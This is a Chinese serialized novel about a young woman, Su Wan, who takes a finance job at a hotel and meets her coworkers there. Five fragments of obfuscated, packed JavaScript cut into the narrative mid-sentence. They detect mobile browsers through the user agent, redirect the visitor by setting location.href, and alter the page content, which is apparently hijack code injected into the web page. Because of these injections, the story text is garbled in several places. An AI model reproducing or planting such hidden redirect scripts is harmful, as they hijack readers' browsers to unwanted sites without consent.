《谜茫》 1. 机遇 周日下午两点,阳光正好。 苏晚站在筒子楼楼下,仰头看了一眼。这栋楼建在那儿有些年头了,墙皮剥落的地方露出深浅不一的水泥,像是岁月随手划下的记号。楼洞口窄而深,像一个竖着切开的井道,阳光从楼顶的缝隙斜射进来,恰好照在楼梯的台阶坡面上,把水泥地面磨得发亮的地方映成一片暖白。 苏晚低头给林栖打电话:“我到你家楼下了”。 楼上传来声音。先是“哐”的一声关门,然后是鞋踩在水泥楼梯上的声音。那声音从高处落下来,被陡峭的楼梯井切成许多片----有时清晰,有时模糊,像有人在不同的楼层同时下楼。 “来了来了,我看见你了,晚晚!” 苏晚笑了,没出声,就站在那儿等着。 脚步声拐出楼道的瞬间,阳光正好照在那个人身上。 “等久了吧?” “没有。” 两人顺着巷子往外走,拐出巷子,眼前豁然开朗。 主路对面,一座酒店立在午后的光线里。玻璃幕墙把天空切成一块一块的,云在里面慢慢挪。酒店附楼的一层,肯德基的红白招牌亮着,门口进出的人影被玻璃门拉长又压扁。 “走,我今天想吃那个新出的——”林栖拽着她过马路。 大门推开,向左转,空间豁然开朗。玻璃窗边的高脚桌空着,林栖拉着苏晚过去坐下。桌面窄窄的,椅子是圆形的吧台凳,脚踩在横杠上,人一晃一晃的。 “你想吃什么?”林栖问坐下来的苏晚。 “随便。” “没有随便,不能每次都随便!”林栖翻了个白眼,起身去点餐。 苏晚把包放在旁边的高脚凳上,转过头看窗外。窗外的主街上的车不多,偶尔驶过一辆公交车,车身广告上的明星笑得露出八颗牙。阳光把玻璃晒得有点烫,她的胳膊搁在窗台上,能感觉到那点温热。 身后店里疏落地坐着几桌人:角落里用笔记本工作的年轻人;一对分享着美食,偶尔低声交谈的中学生;还有独自翻着报纸的老人。 林栖端着一个大托盘回来”尝尝这个,说是新出的——“她把其中一个推到苏晚面前,”最近怎么样?“ ”还行“ ”什么叫还行?找工作的事呢?“ 苏晚咬了一口手中的食物,没说话。她不太想提这个。公司已经欠了两个月工资,老板的电话打不通,公司群里一片死寂。如果让林栖知道欠薪的事情,找工作就是头等大事。 窗外的阳光挪了一点,刚好落在苏晚的手背上。她盯着那一小块光,听林栖说她相亲的事情 ”.......晚晚?“ 她回过神。 ”你想什么呢?“ ”没什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437367|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。“苏晚把最后一口的食物塞进嘴里,”听你说呢。“ 走出肯德基的时间,太阳已经斜了。 林栖站在门口翻包找纸巾,苏晚站在她旁边,抬头看头顶的电子大屏,屏幕上正在滚动招聘信息。 ”酒店招聘......文员、前台、服务员.....“她念出声来。 林栖擦完嘴,顺着她的目光看过去:”怎么你想去?“ ”没有,就是看看。“ 林栖盯着她看了两秒,把纸巾往垃圾桶里一扔:”手机拿来。“ ”干嘛?“ ”我给你投简历。“ 苏晚犹豫了一下,还是把手机递过去了。林栖按屏幕上的信息操作着,准备还手机时想到些什么?又在手机上划拉了几下,眉头皱了起来:”你最近找工作就投了这一份?“指着屏幕,苏晚注意到是市招聘软件APP的页面:”我本来想等老板回话的,再看看的“苏晚面对林栖有点语弱。 林栖看着她,叹了口气。从初三认识至今,她已经习惯了苏晚这种——用苏晚自己的话说——天秤座属性。选择困难,佛系,随缘,能躺着不坐着,能坐着不站着。 那天晚上,苏晚收到一条短信:尊敬的苏晚女士,你投递的简历已通过初筛,请于本周三上午十点到我司参加面试。 她把短信看了三遍,然后打电话给林栖。 2. 面试 周三上午8点,电话响了。 苏晚还在睡觉,迷迷糊糊摸到手机,是林栖。 ”起了吗?“ ”嗯.....“ ”快起来,给你打电话就是想告诉你,别睡过头了,十点面试别忘了。“ ”没忘。“ ”你肯定忘了。我现在给你打电话就是提醒你,现在起来,洗个澡,吃个饭,别迟到。“ 挂了电话,苏晚躺了一会儿,还是起来了。 9点半苏晚站在酒店门口。酒店比她想象的要大,玻璃门擦得很亮,能照出人影。深吸一口气推开门。 大堂很宽敞,暖气开得很足,前台的人穿着统一的制服,头发盘得一丝不苟。她走过去,说明来意,前台的小姑娘指了指左边的通道:”那里进去,左转弯,前台背后的电梯,行政楼九楼。“ 电梯里只有她一个人。镜面擦得很亮,能看清自己脸上的每一个细节,她对着镜子理了理头发,又觉得这个动作有点傻,于是把手放下来。电梯上升的时候,她看见镜子里的自己的眼睛——亮亮的,像是藏着点什么。 电梯门开,九楼到了。 电梯出口右转首先看到的是前台背后大大的酒店logo,再转弯就看到大大的厅,一整面的落地窗。阳光从窗外涌进来,整个办公区很暖。窗前一排排格子门,工位上有人,但没人抬头看她。 ”你好,面试的吗?“ 苏晚回过神来:”啊!对,我来面试,通知的是10点钟。” ”你好!你应聘的是文员?“ ”是的“ ”请问你有没有考虑过酒店的其他岗位?比如财务“ ”也是可以的“苏晚愣了一下,好像对外的招聘没有财务岗的信息啊! ”好的,麻烦你重新再填写一份纸质的简历吧!“面前的男士给了一份表格,并且拿起手边的电话拨了出去。 待苏晚填写好递出,男士和她说:“不好意思,可能得再联系你,看老板那边有没有时间,可能想亲自见一见。” “好的。” 从酒店出来,苏晚还有点恍惚!拿起手机准备拨给林栖,想了下又揣回兜里。 刚到家门口的苏晚接到了酒店的电话,让她周五上午十点再去复试。苏晚发了个短信给林栖,说是需要复试,还没有正式通知,也告诉她另一个面试今天也去了。 周五苏晚准时到了酒店。还是那个电梯,还是那个镜面,还是那个九楼。 “你好!我是苏晚,约的是十点钟面试!” “这是我们办公室主任-周卉!”上次接见苏晚的男士将苏晚的简历递给身后格子办公的女士。短发,身穿浅灰色套装,看起来很干练。 “苏晚是吧!”周卉拿着手上的简历,看了她一眼:“你之前在XX学院上的学?” “是的” “哪一届的?” 苏晚报了年份。周卉笑起来:“你等一下,我打个电话!” “跟我来吧!”周卉站起身,带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437368|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她走向走廊中心停在一间办公室门口,门上贴着牌子。周卉敲了敲门:“老板!” 门里传出一个声音:“进来。” “老板,这是面试财务的苏晚!”周卉指了指身后的苏晚。 苏晚跟着周卉看到一个五十多岁的男人坐在办公桌后面,穿着白衬衫,袖子挽到小臂,看起来不像什么大老板,倒像是哪个工厂的老师傅。 “苏晚?哪里人?“ ”老家上海,家在本地“苏晚说了个地址。朱总点了点头,继续翻了翻简历,问了一些常规问题,然后指着那家她待了三年的公司:”之前那家公司做了三年,为什么走?“ 苏晚顿了一下。”公司接下来可能会搬到别的城市去。“她说,”我家里人——我爸身体不是太好,我不想离太远,就想在本地找一份稳定了的工作。“ 朱总听完,没急着说话,,而是看了她几秒。那种目光不尖锐,但很直接,像在打量一个人靠不靠谱。又问了几句,就让周卉带她出去,说等通知。 出门的时候,周卉说了一句:”我和你同校,高你两届。” 还没有到家就接到了酒店的回复:”下周一来上班!” 苏晚发了好一会的呆,然后给林栖发了信息:录了。 接着林栖电话就打过来了,问了一堆细节,末了“好好干!” 挂了电话,苏晚站起来走到阳台窗边。窗外是这个城市灰扑扑的天际线,远处有几栋高楼,近处是老旧的居民楼,偶尔听到鸟叫声。 3. 试用 周一早上七点五十,苏晚站在酒店门口,深吸一口气。 电梯里她看着镜子里的人—白衬衫,深色裤子,头发扎起来,比上周面试那天看起来正式一点。镜子里的那个人也看着她,表情有点紧张,又有点期待。 九楼 电梯门打开,那面落地窗还是老样子,阳光从东边照进来,暖暖的。办公区域的人还没到齐,有几个早到的在工位上整理东西,抬头看了她一眼,又低下头去。 周卉今天穿的是一套深黑色的套装,耳垂上有一对小小的珍珠耳钉,“跟我来,你的工位在财务室里面。” 苏晚跟在她后面走向走廊的左手边第二间,门上没有牌子,但推开门之后,她看见了里面的样子—— 四张桌子。 最后那张靠窗的最大,上面放着电脑、文件夹、一盆小小的绿植。最前面的桌子是空着的,上面放着未装订的账册。中间的两张桌子分别依次坐着一个年轻男生,戴着眼镜,正盯着电脑屏幕,手指在键盘上敲敲打打。一个女生,年纪更小一点,侧脸看起来文文静静的,正在手写着付款凭证。 “财务经理姓张”周卉往里走了两步,“今天张经理请假,我先带你认一下人。”她指了指靠窗那张大桌子:“那是张经理的位子”,又指了指那个男生,“这是小苏。”再指了指那个女生,“这是小林”。 小苏抬起头,朝苏晚点了点头,又低下去了。小林也抬起头,笑了一下,笑得很轻;“你好!我叫林雨欣。” “我叫苏晚。”苏晚觉得这个女生说话声音好柔,很好听! “小林带下苏晚熟悉下工作。”说完周卉就离开了办公室。 林雨欣将前面的椅子移到她的桌子边上:“坐。这些是你以后要负责的。”她拉开自己的抽屉,拿出一沓付款凭证,放在自己的桌上,示意苏晚过来看。 她的声音还是轻轻的,柔柔的,但手上的动作很快。指着付款凭证上的几个重要的部分哪里需要签字。动作干脆利落,一点都不拖泥带水。苏晚一边听一边记。 “明白了吗?”林雨欣问。 “明白了一点。”苏晚老实说。 “没关系,慢慢来。”林雨欣又笑了笑,还是很轻的笑,“我先做一遍给你看,包括怎么录入,然后你再做一遍。” 上午的时间过得很快。 林雨欣带着苏晚过了一遍流程,然后让她试着录入几笔凭证。苏晚盯着电脑屏幕,手指在键盘上慢慢敲,偶尔问一句“这个对不对。”林雨欣就坐在旁边,要么看自己的东西,要么瞄一眼电脑屏幕,偶尔说一句“对的”或者“这里可以再具体点。” 那个男生一直很安静,偶尔接电话,声音压得很低,说的都是苏晚听不懂的数字和术语。 中午吃饭的时候,林雨欣带她去员工食堂。食堂在地下室,很大,人很多。林雨欣帮她刷了卡:“下午等你办完入职手续就能自己刷了,周一上午各部门都比较忙。”她们找了个角落的位置坐下,一边吃一边聊了几句。 下午待苏晚办完手续后继续。苏晚盯了一下午的电脑屏幕,眼睛有点酸。五点左右快下班的时候,门开了,周卉进来了。 “今天学得怎么样?” “还行,在学录入凭证那部分。我教她的,她都会记笔记。” “那行,雨欣,你出来一下。” 两个人走到门外,门没关严,苏晚能隐约听到说话声,但听不清在说什么。过了几分钟,她们又进来,周卉朝苏晚这边看了一眼,然后对林雨欣说;“那你多带几天,不着急。” 林雨欣点点头:“我知道。” 周卉走了。苏晚继续录入凭证,但心里有点嘀咕。多带几天?什么意思?是嫌她学得太慢吗? 下班前五分钟,林雨欣收拾东西,忽然说:“学姐让我多带你几天,怕你一下子接手不过来。” 苏晚愣了一下:“学姐?” “周卉啊!”林雨欣说;“她是我学姐,也是你学姐吧!我听她说了。” “对,她是我学姐。”苏晚说,然后又问,“学姐说什么了?” “没说什么,就问你现在学得怎么样,能不能接手。”林雨欣背上包,“我说还行,但她说不着急,让我多带你几天,等你完全熟了再走。” 走? 苏晚愣了一下,但没问出口。林雨欣已经走出门了,只留下一句“明天见。” 第二天刚进办公室,苏晚就看到最后那张大桌工位上有人,瘦瘦的男生,戴一副细框眼镜。他朝苏晚点了点头:“你是苏晚吧!” “对!” “我是张磊,财务经理。”张磊问道,“昨天学得怎么样?” “还好!” 张磊点了点头,然后像是想起什么,问:“你会打孔装订账册吗?” 苏晚愣了一下。 “没做过?”张磊看她的表情就知道了,“没关系,试试看。” 他走到空的那张桌子前,拿起最上面未装订的一沓厚厚的纸—大概有两三厘米厚,A4纸大小,左边有两个圆孔—递给苏晚。 他指了指角落里的一个机器,“那个是打孔机,旁边的装订的夹子。你先试试,不用着急,慢慢来。” 苏晚接过那沓纸,走到角落。打孔机她没见过,但研究了一下,大概知道怎么用。她把纸对齐,放进机器,压下手柄—咔嗒一声,两个孔打好了。然后找夹子,穿过孔,压紧。 她弄了大概十五分钟,装订好了四五本。每一本都歪歪扭扭的,不是对不齐,就是夹子压得太松。她正想着要不要重新弄一下,张磊的声音从后面传来:“行了,停下吧!” 苏晚回头,看见他站在自己身后,不知道看了多久。 “第一次做这样,可以了。”张磊说,“以后多练练就行。先跟林雨欣学吧!” 苏晚回到座位上,林雨欣看了她一眼,笑了笑,没说话。苏晚继续录凭证,但脑子里还在想刚才装订的那些账册—歪歪扭扭的,有点丟人。 接下来的几天,苏晚一直在学。每天都有一堆新的东西要记。 要雨欣还是那个样子,说话轻轻柔柔的,做事干脆利落的。教的时候很有耐心,一遍不会就教两遍,两遍不会就教三遍。但苏晚总觉得她有点急——不是对她急,是对时间急。好像在赶什么。 大厅的同事们偶尔会路过财务室门口。 不是真的路过,是“路过”。 苏晚能感觉到那些目光。有人从门口走过去,走得很慢,眼睛往里瞟一眼,再瞟一眼。有人会站在门口跟里面的人说两句话,一边说一边往她这边看。有两个有甚至在门口停下来,压低声音说了几句什么,然后笑着走开。 “新来的,总会被多看几眼。”林雨欣有一次说,“过几天就好了。” 苏晚点点头,没说什么。她知道这是正常的。一个新面孔出现在一个固定的环境里,总会引起一些好奇。只是那些目光让她有点不自在,好像自己是动物园里的什么动物。 周四下午,快下班的时候,林雨欣把最后一批单据交给她。 “这些你做完,明天我来的时候检查。” 苏晚愣了一下:“你下周不来了?” 林雨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437369|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欣笑了笑:“嗯!” 苏晚没说话。她想起周卉那天说的话—“多带几天”—原来真的是交接。 “你要走了?”她问。 “嗯,去别的地方。”林雨欣收拾着东西,声音还是轻轻的,“这边挺好的,但我有别的打算。” 苏晚不知道该说什么。她们才认识几天,谈不上多熟,但林雨欣教了她这么多,她有点舍不得。 “谢谢你。”她说,“这几天教了我这么多。” 林雨欣抬起头,看着她,笑了一下。那个笑容和之前的不太一样,好像多了一点什么。 “你学得挺快的。”她说,“下周自己来,没问题的。” 周五晚上六点,苏晚走出酒店大门。 太阳已经落下去了,天边还有一点余光。她站在门口,深吸一口气,又慢慢吐出来。 一周结束了。 她想起周一早上站在电梯里的自己,紧张兮兮的。想起第一次看见那面落地窗的样子。想起林雨欣教她的样子。想起自己装订的那些歪歪扭扭的账册。想起那些在门口“路过”的目光。 五天,好像很长,又好像很短。 她拿出手机,发现有好几条未读信息。都是林栖发的。 16:30:今天怎么样? 17:00:??? 17:30:苏晚你人呢? 18:00:行吧,你下班了给我回电话 苏晚笑了笑,拨过去。 电话响了一声就接了。 “终于想起我了?”林栖的声音从听筒里炸出来,“我还以为你被酒店扣下了呢!” “没有,刚下班。” “怎么样?这周怎么样?” 苏晚想了想:“还行。” “又是还行?”林栖说,“你能不能换个词?” 苏晚忍不住笑:“挺好的,真的。同事挺好的,学姐也挺好的。教我的那个人下周就走了,我可能要自己干了。” “这么快?” “嗯。” “那你行不行啊?” 苏晚想了想:“应该行吧。” 电话那头沉默了两秒,然后林栖说:“行,那就是行。你说行,那就是真的行。” 苏晚没说话,但嘴角翘了一下。 “对了,周末出来吗?”林栖问,“好久没一起吃饭了。” 苏晚刚想说好,忽然想起什么:“算了,这周不出去了。” “为什么?” “想在家休息一下。”苏晚说,“下周还要继续呢。” “行吧。”林栖说,然后顿了顿,“那等你过了试用期,请我吃大餐。” 苏晚笑出声;“凭什么?” “凭我帮你投简历!”林栖理直气壮,“要不是我,你能去那面试?能碰到学姐?能有这份工作?” 苏晚想了想,好像确实是这样。 “行。”她说,“等我过了试用期,请你吃大餐。” “这还差不多。”林栖说,声音里带着笑,“行了,你回去好好休息吧。下周继续加油,苏小晚。” “好。” 挂了电话,苏晚站在酒店门口,看着街灯一盏一盏亮起来。风有一点凉,但不是很冷。 她想起下周一林雨欣不来了,她要自己上手了。可能会有问题,可能会有不会的地方,可能会出错,但好像也没那么可怕。 走了几步,又回头看了一眼酒店的大楼。九楼的方向亮着灯,不知道是谁还在加班。 她收回目光,继续往前走。 下周见。 4. 独立 周一早上,苏晚比上周提前了二十分钟到公司。 九楼的落地窗还是老样子,阳光照进来,把格子间切成一块一块的光斑。她穿过走廊,推开财务室的门— 四张桌子,三张空着。 她的桌上放着一沓供货商付款凭证,最上面那张贴着一张便利贴,字迹很熟悉:加油!—林雨欣 苏晚把便利贴撕下来,看了两眼,贴在电脑屏幕边上。然后坐下来,打开电脑,开始干活。 上周学的东西还在脑子里,但真正自己上手的时候,还是有点慌。她翻着那些凭证,一张张对,一笔笔录,时不时停下来。 十点多的时候,门开了。 周卉走了进来,手里拿着一沓什么,看见苏晚,顿了一下“今天你自己做了” “是的” 周卉把手里那沓东西放在她桌上:“这是上周的报销单,你审一下,没有问题的话走流程。” 苏晚拿起来翻了两页,还没看完,周卉又说:“对了,等下审计那里要份餐券领取名单,你弄完这个发给她们。” 苏晚抬起头,,想说“好”,周卉已经继续说下去了:“还有,下午三点之前要把上个月的部门费用统计交给我,老板要看。还有—” 苏晚看着她的嘴一张一合,脑子有点跟不上。上周和林雨欣学的时候,都是一件事说完,等她消化了,再说下一件。但周卉不是,她的话像连珠炮一样往外蹦,一件接一件,中间不带喘气的。 “—听懂了吗?”周卉说完,看着她。 苏晚顿了一秒;“听懂了”。 “好,有问题问我。”周卉转身走了,走到门口又回头,“对了,报销单审完直接拿给我签字,不用等。” 门关上了。 苏晚盯着那扇门,深吸了一口气,又慢慢吐出来。然后低头看了看桌上那沓报销单,又看了看电脑屏幕,想了想刚才周卉说的那些事—餐券发放情况表、费用统计,不宜那个什么来着? 她拿起笔,在便利贴上飞快地记下来。一件一件来,先做这个,再做那个。 别慌。 下午两点半,苏晚拿着刚审完的报销单,去周卉办公桌那里签字。 “周主任,这是上午的那批报销单”苏晚把单子放在桌上。周卉一边看一边签字,签完递给她:“这些单子还要找老板签字。” 苏晚愣了一下:“老板?” “对,朱总。”周卉头也不抬,“所有报销单最后都要他签。你直接去他办公室。” 苏晚接过单子,想说什么,但周卉已经开始接电话了。她只好拿着单子往老板办公室走去。 站在老板办公室门口,苏晚敲了敲门。 “进来。” 苏晚走进去,朱总还是那件白衬衫,袖子挽着,在看什么文件。见她进来,抬起头,认出是她,点了点头:“报销单?” “是的。”苏晚把单子递过去。 朱总接过来,一页一页翻,看得很快,但每一页都看得很仔细。翻完最后一页,拿起笔,刷刷刷签了名,递还给她。 “行了。” 苏晚接过单子,说了句“朱总,我先走了。”转身要走。 “等等。” 她回过头。 朱总看着她;“这几天干得怎么样?” 苏晚愣了一下,然后说:“还行,还在学。” 朱总点了点头,没再说什么,摆了摆手示意她可以走了。 苏晚走出办公室,站在走廊里,看着手里的单子,忽然觉得有点奇怪。 报销单,不是应该谁报销谁去找老板签字吗? 她想了想,没想明白,回自己办公室了。 下午四点,周卉又来了。 她推门进来的时候,苏晚正在对一张金额对不上的单据发愁。听到门响,她抬头,看见主任穿着那套浅灰色套装,手里拿着一沓文件,脚步带风地走进来。 “苏晚,忙吗?” “还好,主任。” “出来一下,给你介绍几个人。”周卉已经转身往门口走了,话丢在后面,“快点。” 苏晚赶紧站起来,跟着她往外走。 “酒店有轮岗制度你知道吗?” “轮岗?” “对,各部门之间定期轮换,为了让大家都熟悉业务。”周卉说着,在一排格子间前停下来,“这是新轮岗过来的审计-刘姐,以后你要和她打交道多。” 她指了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437370|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指旁边一个扎马尾的女的:“这是小朱,销售部报销多。” “对了,审计那边以后要查账,你心里有数” 苏晚刚想点头,周卉下一句话已经来了:“还有,报销单的审核流程你清楚吗?不清楚要记得问人。月底之前要把第一季度的凭证都装订好,上周张磊让你练过的那个。还有——” 苏晚脑袋里嗡嗡的,上一句还没有消化完,下一句已经砸过来了。她只能拼命点头,希望主任看不出她其实没全记住。 “—听明白了吗?”周卉终于停下来,看着她。 苏晚张了张嘴,想说“明白”,又怕自己其实没明白。她犹豫了大概两秒钟,周卉已经叹了口气:“算了,你先做着,有不懂的问人。”她抬起手腕看了看表,走了。 苏晚站在原地,愣了几秒,然后慢慢走回财务室。 周五晚上,苏晚和林栖打电话。 “......你说奇不奇怪?”她躺在床上,对着手机说,“我们这报销单,是办公室主任签完直接送老板签。我们部门经理是最后一签,你不觉得怪吗?” 电话那头沉默了两秒,然后林栖说:“是有点怪。你们经理不管吗?” “好像不管。” “那老板不管吗?” “好像也不管。”苏晚说,“我天天往他办公室跑,他每次都签,什么都没说。” 林栖想了想,说:“可能他们就是这么规定的吧。每个公司不一样。” “可能吧。” “这周怎么样?自己干行不行?” 苏晚想了想;“还行。” “真的?” “真的。”苏晚盯着天花板。外面有路灯的光透进来,在天花板上投下淡淡的影子。“虽然有点奇怪,但挺好的。同事都还行,主任虽然急,但对我不错。见老板有点紧张....也还行” “那就行。”林栖说,“正常。只要你心情好,什么都好” 苏晚笑了笑。 “对了,这周出来吃饭吗?”林栖问。 “这周不行,还想躺着。”苏晚说,“累了一周了。” 林栖在那头叹了口气:“行吧,那下周?” “下周再说。” 5. 满月 一个月,就这么过去了。 苏晚后来回想起来,觉得这一个月过得像被谁按了快进键。每天都是差不多的节奏—早上到公司,处理单据,跑银行,跑报销,接周卉的连环指令,偶尔被张磊叫去问两句工作进度。日子像流水一样过去,等她反应过来的时候,手机上已经跳出了“入职满30天”的提醒。 周二下午,她去审计送单子。刘姐接过去翻了两眼,忽然抬起头,笑眯眯地看着她:“小苏,这都干了一个月了吧?” 苏晚愣了一下,算了一下 时间;“好像....是有一个月了。” “什么叫好像?”刘姐把单子放下,靠在椅背上,“我听主任说,你上手挺快的,雨欣走的时候还夸你来着。” 苏晚不知道这些,有点意外,又有点不好意思 :“也没有,还在学。” “学什么学这么慢,一个月了,该会的都会了。”刘姐笑着,眼睛弯弯的,“怎么样,稳定下来了,是不是该请客了?” 苏晚愣了一下。 刘姐旁边还有个年轻点的女同事,正在整理什么东西,听见这话抬起头,看了刘姐一眼,又看了苏晚一眼,没说话,又低下去了。 那个目光苏晚看懂了—不是什么恶意,就是那种“这话你也说得出口”的眼神。 但苏晚没觉得有什么。 “好啊。”她说,笑了一下,“请客就请客,刘姐想吃什么?” 刘姐反倒愣了一下,大概没想到她答应得这么爽快:“哎吧我就是开个玩笑.....” “没事,应该的。”苏晚说,“这一个月麻烦你们这么多,请个客应该的。” 刘姐笑起来:“那行,那我等着啊。” 苏晚回到财务室,坐到座位上,想了想刚才的事。请客—其实她之前没想过。一个月而已,还没过试用期呢。但刘姐既然提了,答应就答应了,没什么大不了的。 她拿出手机,打开淘宝挑了一会儿,选了几家评价不错的零食店。下单,付款。 周五早上,一系列零食陆续寄到。 苏晚拎着袋子,先去审计刘姐和她旁边的同事每人塞了两包,刘姐笑得更开心了,说“哎呀小苏你这孩子太实在了。”那个年轻女同事接过零食,也笑了笑,这回目光不一样了,好像多了点什么。 然后又给主任和销售小朱她们分了一圈。周卉接过一包薯片,看了她一眼:“你请客啊?” “是的。”苏晚点点头。 周卉笑了一下,没说什么,但那个笑容好像也挺满意的。 苏晚拿着袋子回了财务室,递给了经理和小苏他们,小苏拿了一包坚果,说了声谢谢。张磊看了一眼,摆摆手:“我不吃零食,你们分吧。” 苏晚也没坚持,把剩下的放在公共区域,让其他部门的同事们自己拿。晚上下班的时候,袋子已经空了一半。 周一早上,苏晚刚到办公室,周卉就进来了。 手里拿着一张纸,走到她桌前,递过来,是张“餐券发放明细表。” “酒店的3.8福利,西餐券两张” “今天晚上部门聚餐,六点半,一楼西餐厅”周卉说;“穿漂亮点。” “好的。”苏晚回话。 周卉走后,苏晚盯着那张纸看了几秒,然后拿起笔签了自己的名再拿出两张餐券拍照发给林栖:“周五晚上请你吃大餐。” “哇哦!”林栖秒回;“来,!必须来!” 苏晚看着信息笑了笑,把手机收起来。 晚上六点,苏晚站在酒店一楼西餐厅门口发愣,有点紧张。有人拍了拍她的肩膀“还不进去,刷脸开吃。”回头是那个审计年轻女生-小肖。 紧跟着小肖到餐厅吧台签了个名字,就去中心区域海鲜池那里,碗碟都是转台下方整齐的摆放着。看着周围人的做法,苏晚很生硬地依葫芦画瓢跟着做。 回到就餐区域,她已经看见了同事两两相坐,安安静静的,有熟悉的也有陌生的,加起来也有十几个人。 苏晚走过去,找了个位置坐下。旁边是销售小朱,正在喝一杯饮料,看见她,点了点头。 “第一次来?”小朱问。 苏晚点点头。 “这儿不错。”小朱说,“酒店的招牌之一,很多人专门来吃。” 苏晚往四周看了看。大家的兴致都很高,说说笑笑的。她看着大家一碟一碟地端上桌,有点懵!她偷偷看了一眼旁边的人。对方很自然地用叉子叉起牛排,很自然地放进嘴里。 苏晚安安静静的挑着熟食吃,吃到一半,她注意到甜品台上摆着一些小蛋糕。很小,一口一个的大小,摆成一座小小的塔,每一个都不一样,有的上面有水果,有的撒了金粉,有的像一朵花。 她走过去拿了一个,巧克力味的,入口即化,好吃。她又拿了一个,芝士味的,也好吃。她又拿了一碟—— “你吃几个了?”苏晚回头,看见小朱正看着她,嘴角有一点笑意。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437371|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “嗝——”苏晚有点不好意思:“拿了两碟” 小朱笑出声:“没事,甜品就是拿来吃的。喜欢可以多吃点,也要适量哦!” 苏晚点点头。 聚餐结束的时候,苏晚走出西餐厅,感觉自己吃撑了。真的是吃小蛋糕吃多了,不敢数。 手机响了。 林栖。 “喂——”苏晚接起来。 “聚餐结束了吗?”林栖的声音还是那个调调,“还活着吗?” “吃撑了” “说说”林栖问。 “那个吃西餐有点尴尬。”苏晚老实说;“我不知道怎么吃。不知道哪道菜先吃,不知道用哪副刀叉,只能看别人怎么做,跟着学。” “你认真的?” “认真的。” 手机那头沉默了两秒,苏晚都能想象对面的林栖该扶额了;“苏晚,你是真的.....算了,我习惯了。”林栖笑出声,“你不会给我打电话?” 苏晚也笑:“真的,我第二次进西餐厅。第一次是小学同学请客,那都是多少年前的事了。” “小学同学?”林栖来了兴趣,“男的女的?” 苏晚想了想:“男的。” “哦—”林栖拉长了声音,“请客吃饭的男同学,还是想不到会有联系的。什么情况?” 苏晚愣了一下;“你怎么知道我想不到会有联系?” “你刚才自己说的。”林栖说,“还是和自己想不到会有联系的男同学——原话。” 苏晚不记得自己说过这话,但既然林栖这么说了,那可能就是说过吧。 “没什么情况。”她说,“就是小学同学,很多年没见了,忽然联系上,说请我吃饭。去的也是西餐厅,我也是一样不知道怎么吃。” “然后呢?” “没有然后。”苏晚说,“吃完饭就再也没联系了。” “改天我跟你好好说道说道。” “啊?” “西餐怎么吃。”林栖说,“刀叉怎么用,什么顺序 ,什么礼仪。省得你下次又尴尬。” 苏晚愣了一下:“周五我们约了西餐厅的” “呀——对啊!就那天,择日不如撞日!”林栖突然大声了一下。 苏晚忽然心里暖了一下;“你比我懂得多,你愿意教我,我好高兴。” 林栖愣了一下;“好。” 苏晚听声音能想象林栖暗喜—嘴角定翘了。 6. 加班 四月最后一周,苏晚明显感觉到周卉的脚步快了。 不是说话快的那种快,是整个人的节奏都快了,以前她还会在门口站定,交代完事情再走。现在基本上是站在大厅隔空交代,苏晚有时候想离得近再问清楚,就看见她离开工位去做事了。 “五一前都这样。”张磊有一次说,头也没抬,还在看他的报表,“去年这个时候,她都要这样忙。” 苏晚没问“为什么”,因为她已经没时间问了。 财务室忙飞起来了都,报销单比平时多了一倍。各部门都在赶在节前把账清了。采购部的同事一天来三趟,每次都是一沓单子。销售打电话来催:“客户的发票什么时候能开”。小苏键盘比以前更响了。 